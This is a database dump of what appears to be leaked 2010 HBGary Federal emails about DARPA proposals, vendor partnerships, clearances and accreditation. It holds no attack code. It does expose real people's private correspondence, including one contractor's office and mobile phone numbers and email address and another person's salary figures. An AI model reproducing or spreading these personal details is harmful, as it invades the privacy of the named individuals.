which does environment discovery.  I am interested to look at it to incorporate into our IR process.  I let you know when I get it.\r\n\r\nBTW,  Ted and I will be getting our clearances back in the next few weeks.  Whooohoooo!  About time.  Next step will be completing our Fixed Facility paperwork so we can hold our own clearances for HBGary federal and then can start submitting people that are interested in getting one and have a need.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4786,'aaron_hbgary_com/4786.html'),(3190,'2010-02-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001491.M604795P3547Q3190.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','DARPA BAA/Fidelis','My mind has been racing lately so can\'t remember if I mentioned this in a previous email, but wanted to reiterated the strength I see in Palantir.  Thank you Penny and Bob for pressing a bit more when my immediate reaction was to \"poo-poo\" the technology.\r\n\r\nOne major weakness I see in HBGary approach is not knowing when to deploy for an image snapshot.  Technologies like Fidelis can tip active defense on potentially suspicious or anomalous activity on the wire and guide deployments of DDNA.  Likewise, Active Defense can report out to Fidelis to provide more comprehensive protection on the wire and at the gateways.  As I have stated.  I think the potential is big with this approach.  There are probably other technologies that can continue to improve the management of the analytical engines, some of that we will try to address in the DARPA BAA.\r\n\r\nI will have an initial outline for our approach on Monday.  It is meant as only a starting point and I will need Greg and team to try and add some detail in some areas as we iterate through the proposal process.  Greg if you and the product team can review and provide raw data to add, Ted and I can work that information into the overall proposal.  WIth this and the rest of the team, Pikewerks, SecureDecisions, Fidelis, I think we have a very strong change of award.\r\n\r\nWish I could be there at RSA for your talk Greg.  Next year when we have some more solid programs under out belt we will be more present on the conferences, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5778,'aaron_hbgary_com/5778.html'),(3191,'2010-02-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001491.M791690P3547Q3191.eml','\"Ted Vera\" <ted@hbgary.com>','Re: DARPA BAA/Fidelis','Dude.  Have you ever hear of the band...black rebel motorcycle club...awesome.\r\n\r\n\r\nOn Feb 26, 2010, at 11:52 PM, Ted Vera wrote:\r\n\r\n> Did you mean to say fidelis? You sAy palantir in the message\r\n> \r\n> \r\n> \r\n> On Feb 26, 2010, at 9:50 PM, Aaron Barr  wrote:\r\n> \r\n>> My mind has been racing lately so can\'t remember if I mentioned this\r\n>> in a previous email, but wanted to reiterated the strength I see in\r\n>> Palantir.  Thank you Penny and Bob for pressing a bit more when my\r\n>> immediate reaction was to \"poo-poo\" the technology.\r\n>> \r\n>> One major weakness I see in HBGary approach is not knowing when to\r\n>> deploy for an image snapshot.  Technologies like Fidelis can tip\r\n>> active defense on potentially suspicious or anomalous activity on\r\n>> the wire and guide deployments of DDNA.  Likewise, Active Defense\r\n>> can report out to Fidelis to provide more comprehensive protection\r\n>> on the wire and at the gateways.  As I have stated.  I think the\r\n>> potential is big with this approach.  There are probably other\r\n>> technologies that can continue to improve the management of the\r\n>> analytical engines, some of that we will try to address in the DARPA\r\n>> BAA.\r\n>> \r\n>> I will have an initial outline for our approach on Monday.  It is\r\n>> meant as only a starting point and I will need Greg and team to try\r\n>> and add some detail in some areas as we iterate through the proposal\r\n>> process.  Greg if you and the product team can review and provide\r\n>> raw data to add, Ted and I can work that information into the\r\n>> overall proposal.  WIth this and the rest of the team, Pikewerks,\r\n>> SecureDecisions, Fidelis, I think we have a very strong change of\r\n>> award.\r\n>> \r\n>> Wish I could be there at RSA for your talk Greg.  Next year when we\r\n>> have some more solid programs under out belt we will be more present\r\n>> on the conferences, etc.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16792,'aaron_hbgary_com/16792.html'),(3192,'2010-02-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001491.M968518P3547Q3192.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Patent','Penny,\r\n\r\nCan you send me copies of any material related to the patents for behavior/trait based malware analysis (DDNA).\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2375,'aaron_hbgary_com/2375.html'),(3193,'2010-02-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001492.M158473P3547Q3193.eml','\"Greg Hoglund\" <greg@hbgary.com>','DDNA as an offensive tool','Greg,\r\n\r\nPenny said you might have an existing whitepaper on this.  If so can you send it to me?\r\n\r\nAlso do you have any type of a write up for the NGEN rootkit?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2054,'aaron_hbgary_com/2054.html'),(3194,'2010-02-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001492.M342713P3547Q3194.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Mandiant',' \r\nCool, the more people at Mandiant think Responder sucks, the more advantage we have over them.  Let them build a team of pet rock guys - that is their business after all.  \r\n \r\n-Greg\r\nOn Fri, Feb 26, 2010 at 2:05 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMike Harbison, a stud r/e, has left GD and starts at Mandiant on Monday.  He said he is going to work with somebody who used to work at HBGary, so I figure it is Jamie.  Mike is a pet rock guy who felt Responder wasn’t good enough for his use.  I had offered him to try Responder 2.0 but no way now that he is at Mandiant.\r\n\r\n \r\n \r\n',6893,'aaron_hbgary_com/6893.html'),(3195,'2010-02-27','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001492.M536473P3547Q3195.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Telecon with Secure Decisions and HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nFYI, the file you sent was in pages format. I asked someone with\r\na Mac to convert it for me into Word. I sent the Word version to our CFO Ebbe\r\nReker. He will review, sign and return to you in Microsoft Word.\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 6:05 PM\r\nTo: Anita D\'Amico\r\nCc: Kenny Prole; Brianne O\'Brien\r\nSubject: Re: Telecon with Secure Decisions and HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNDA Attached.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16432,'aaron_hbgary_com/16432.html'),(3196,'2010-02-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001492.M727534P3547Q3196.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Insurance','Hi DeeAnn,\r\n\r\nMy insurance is supposed to start on Mar 1st.  I have not received any insurance information.  Do you know what the status is?\r\n\r\nThanks,\r\nAaron',15972,'aaron_hbgary_com/15972.html'),(3197,'2010-02-27','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001492.M927947P3547Q3197.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Responder and Palantir Loaded','Hi Aaron.  I&#39;m away from my main rig right now but I do have a suggestion for sample memory images.  Try Hogfly&#39;s exmplar images:\r\n \r\nhttp://cid-5694a755c9c6a175.skydrive.live.com/browse.aspx/Public\r\n \r\nLink is off of Forensic IR blog:\r\n \r\nhttp://forensicir.blogspot.com/  (skydrive link)\r\n \r\nThat&#39;s good news about the clearances.  I&#39;m looking forwarding to the opportunity.  \r\nOn Fri, Feb 26, 2010 at 11:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Guys,I have responder and palantir loaded in a VM and was wondering if you have some good VMEMs that I can look at?  Also met with Fidelis.  They are going to get us some copies of their Scout software which does environment discovery.  I am interested to look at it to incorporate into our IR process.  I let you know when I get it.\r\nBTW,  Ted and I will be getting our clearances back in the next few weeks.  Whooohoooo!  About time.  Next step will be completing our Fixed Facility paperwork so we can hold our own clearances for HBGary federal and then can start submitting people that are interested in getting one and have a need.\r\nAaron BarrCEOHBGary Federal Inc.\r\n',14492,'aaron_hbgary_com/14492.html'),(3198,'2010-02-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001493.M113365P3547Q3198.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: Telecon with Secure Decisions and HB Gary','That&#39;s great.Thanks.AaronFrom my iPhoneOn Feb 27, 2010, at 2:23 PM, Anita D&#39;Amico &lt;anitad@securedecisions.avi.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nFYI, the file you sent was in pages format. I asked someone with\r\na Mac to convert it for me into Word. I sent the Word version to our CFO Ebbe\r\nReker. He will review, sign and return to you in Microsoft Word.\r\n\r\n \r\n\r\nAnita\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 6:05 PM\r\nTo: Anita D&#39;Amico\r\nCc: Kenny Prole; Brianne O&#39;Brien\r\nSubject: Re: Telecon with Secure Decisions and HB Gary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nNDA Attached.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12836,'aaron_hbgary_com/12836.html'),(3199,'2010-02-28','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297001493.M291104P3547Q3199.eml','\"Aaron Barr\" <aaron@hbgary.com>','JR Williamson has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and JR are now connected.\r\n\r\n \r\n   \r\n   View JR\'s profile to:\r\n     \r\n       Download JR\'s current contact information\r\n       Write a recommendation for JR\r\n       Find opportunities through JR\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/21556674/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',1199,'aaron_hbgary_com/1199.html'),(3200,'2010-02-28','\"Lirette, Dave (TASC Inc)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297001493.M554016P3547Q3200.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>','RE: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt,\r\n\r\nHaving DISA as a &#8220;sponsor&#8221; would be a little weird,\r\nbut not unheard of. Usually your product (that needs accreditation) is being\r\npaid for by a &#8220;customer&#8221;. That customer will fall under the\r\numbrella of a particular approving authority. (Air Force, Navy, NRO, NSA etc.)&nbsp;\r\nThat sponsor will require a specific set of testing and assurances according to\r\na guideline (DIACAP, DCID 6/3 or ICD 503)\r\n\r\n&nbsp;\r\n\r\nAny help?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:11 PM\r\nTo: Lirette, Dave (TASC Inc)\r\nCc: Matt O\'Flynn\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me introduce Matt, you can get from the email thread\r\nwhat we are looking for to a degree. &nbsp;If you could provide some guidance\r\nto Matt that would be great.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThink we can get a ski day in march or has snow continued to\r\nsuck?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Matt\r\nO\'Flynn&quot; &lt;matt@hbgary.com&gt;\r\nDate: February 25, 2010 1:12:43 AM EST\r\nTo: &quot;\'Penny Leavy-Hoglund\'&quot; &lt;penny@hbgary.com&gt;, &quot;\'Aaron\r\nBarr\'&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nsponsor will hopefully be DISA, just spoke with our POC there and he needs some\r\nthings from us to run by his legal team. Aaron, I&#8217;ll give you a ring to\r\ndiscuss, much quicker than trying to type it out.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest,\r\nMatt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:57 PM\r\nTo: \'Aaron Barr\'\r\nCc: matt@hbgary.com\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes,\r\nmatt who is sponsor?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 9:55 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo\r\nwe have a government sponsor?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally\r\nyou have a gov sponsor, develop the package, have DA sign off and share that\r\nwith other customers.&nbsp; &nbsp;There are other paths but I think that would\r\nbe the most efficient.&nbsp;&nbsp; Lirette has folks that can develop the\r\npackage. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYuk.\r\n&nbsp;I need to get ddna diacap approved. &nbsp;How do I do that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia O. Beane\r\n\r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2841,'aaron_hbgary_com/2841.html'),(3201,'2010-02-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001493.M727899P3547Q3201.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA/Fidelis','Just checked them out, thx\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 9:54 PM, Aaron Barr  wrote:\r\n\r\n> Dude.  Have you ever hear of the band...black rebel motorcycle\r\n> club...awesome.\r\n>\r\n>\r\n> On Feb 26, 2010, at 11:52 PM, Ted Vera wrote:\r\n>\r\n>> Did you mean to say fidelis? You sAy palantir in the message\r\n>>\r\n>>\r\n>>\r\n>> On Feb 26, 2010, at 9:50 PM, Aaron Barr  wrote:\r\n>>\r\n>>> My mind has been racing lately so can\'t remember if I mentioned this\r\n>>> in a previous email, but wanted to reiterated the strength I see in\r\n>>> Palantir.  Thank you Penny and Bob for pressing a bit more when my\r\n>>> immediate reaction was to \"poo-poo\" the technology.\r\n>>>\r\n>>> One major weakness I see in HBGary approach is not knowing when to\r\n>>> deploy for an image snapshot.  Technologies like Fidelis can tip\r\n>>> active defense on potentially suspicious or anomalous activity on\r\n>>> the wire and guide deployments of DDNA.  Likewise, Active Defense\r\n>>> can report out to Fidelis to provide more comprehensive protection\r\n>>> on the wire and at the gateways.  As I have stated.  I think the\r\n>>> potential is big with this approach.  There are probably other\r\n>>> technologies that can continue to improve the management of the\r\n>>> analytical engines, some of that we will try to address in the DARPA\r\n>>> BAA.\r\n>>>\r\n>>> I will have an initial outline for our approach on Monday.  It is\r\n>>> meant as only a starting point and I will need Greg and team to try\r\n>>> and add some detail in some areas as we iterate through the proposal\r\n>>> process.  Greg if you and the product team can review and provide\r\n>>> raw data to add, Ted and I can work that information into the\r\n>>> overall proposal.  WIth this and the rest of the team, Pikewerks,\r\n>>> SecureDecisions, Fidelis, I think we have a very strong change of\r\n>>> award.\r\n>>>\r\n>>> Wish I could be there at RSA for your talk Greg.  Next year when we\r\n>>> have some more solid programs under out belt we will be more present\r\n>>> on the conferences, etc.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',16253,'aaron_hbgary_com/16253.html'),(3202,'2010-02-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001493.M900810P3547Q3202.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Links for MITRE\'s MAEC malware project','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nYou were asking me about a paper on MITRE&#8217;s MAEC\r\n(malware attribute enumeration and characterization project). Go this link http://maec.mitre.org/ then on the left side\r\nof the page are other links for more info:&nbsp; \r\n\r\n&nbsp;\r\n\r\nAbout\r\n\r\nTerminology\r\n\r\nDocuments\r\n\r\nMAEC Language\r\n\r\nEnumerations\r\n\r\nSchema\r\n\r\nCluster\r\n\r\nUse Cases\r\n\r\nCommunity\r\n\r\nWorking Group\r\n\r\nDiscussion List\r\n\r\nDiscussion Archive\r\n\r\nNews &amp; Events\r\n\r\nCalendar\r\n\r\nFree Newsletter\r\n\r\nContact\r\nUs\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14740,'aaron_hbgary_com/14740.html'),(3203,'2010-02-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001494.M329499P3547Q3204.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,greg@hbgary.com,\"Rich Cummings\" <rich@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','More thoughts about the DARPA proposals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nThere is useful content in this article to frame parts of\r\nour DARPA proposals.&nbsp; The article was written by Mike McConnell, ex head\r\nof NSA.\r\n\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/02/25/AR2010022502493.html\r\n\r\n&nbsp;\r\n\r\nHe compares dealing with cyber war like we did the cold\r\nwar.&nbsp; He talks about the elements that are needed:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAttribution (who attacked us)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLocation (where the attack came from)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nResponse (attack them back)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTransparency (enemy knows how we can hurt them)\r\n\r\n&nbsp;\r\n\r\nThe first 2 items appear to be relevant to the DARPA topics.\r\n\r\n&nbsp;\r\n\r\nHe also said, &#8220;We need to develop an early warning\r\nsystem to monitor cyberspace, identify intrusions and locate the source of attacks\r\nwith a trail of evidence that can support diplomatic, military and legal\r\noptions &#8211; and we must be able to do it in milliseconds.&nbsp; More\r\nspecifically, we need to reengineer the Internet to make attribution,\r\ngeolocation, intelligence analysis and impact assessment&nbsp; - who did it, from\r\nwhere, why and what was the result&nbsp; - more manageable.&#8221;&nbsp; Then\r\nhe goes on to say that 90 of the cyber infrastructure is in the private sector,\r\nnot gov&#8217;t, so gov&#8217;t must work with the private sector to succeed.\r\n\r\n&nbsp;\r\n\r\nMy biggest take-away from this &#8230;&#8230;&#8230;.. DARPA\r\nsaid to &#8220;think big&#8221;.&nbsp; Our vision in these proposals must span\r\nthe entire Internet.&nbsp; As a product company we think about cyber security\r\nfor a single organization.&nbsp; Our proposal needs to look at the entire\r\nthing.&nbsp; Think HUGE.&nbsp; Change the world.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8053,'aaron_hbgary_com/8053.html'),(3204,'2010-02-28','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001494.M504875P3547Q3205.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: RSA Conference @ Mon Mar 1 - Fri Mar 5, 2010 	(aaron@hbgary.com)',' more details &raquo;RSA ConferenceMoscone CenterWhenMon Mar 1 – Fri Mar 5, 2010WhereSan Francisco (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',14353,'aaron_hbgary_com/14353.html'),(3205,'2010-02-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001494.M694791P3547Q3206.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Thoughts','Begin forwarded message:From: mark &lt;mark.trynor@gmail.com&gt;\r\nDate: February 28, 2010 12:49:36 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Thoughts\r\nAfter running through the benefit numbers I ended up with $113K.  Aftertalking things over with Kim, who honestly told me to not even go back,I believe it makes the most sense if I resign Monday and begin work on\r\nTuesday so that I can help from the beginning of the project.  Yourthoughts?\r\n',13958,'aaron_hbgary_com/13958.html'),(3206,'2010-03-01','\"Lirette, Dave (TASC Inc)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297001494.M906203P3547Q3207.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBTW, snow is epic. Haven&#8217;t seen it like this in 20 years.\r\nIt all started a couple of weeks ago. \r\n\r\nWolf Creek got buried. Monarch was fresh powder every run two\r\nweeks ago. \r\n\r\nYet, as you know it is all for not if it doesn&#8217;t snow\r\nevery couple of days. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:11 PM\r\nTo: Lirette, Dave (TASC Inc)\r\nCc: Matt O\'Flynn\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me introduce Matt, you can get from the email thread\r\nwhat we are looking for to a degree. &nbsp;If you could provide some guidance\r\nto Matt that would be great.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThink we can get a ski day in march or has snow continued to\r\nsuck?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Matt\r\nO\'Flynn&quot; &lt;matt@hbgary.com&gt;\r\nDate: February 25, 2010 1:12:43 AM EST\r\nTo: &quot;\'Penny Leavy-Hoglund\'&quot; &lt;penny@hbgary.com&gt;, &quot;\'Aaron\r\nBarr\'&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nsponsor will hopefully be DISA, just spoke with our POC there and he needs some\r\nthings from us to run by his legal team. Aaron, I&#8217;ll give you a ring to\r\ndiscuss, much quicker than trying to type it out.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest,\r\nMatt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:57 PM\r\nTo: \'Aaron Barr\'\r\nCc: matt@hbgary.com\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes,\r\nmatt who is sponsor?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 9:55 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo\r\nwe have a government sponsor?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. 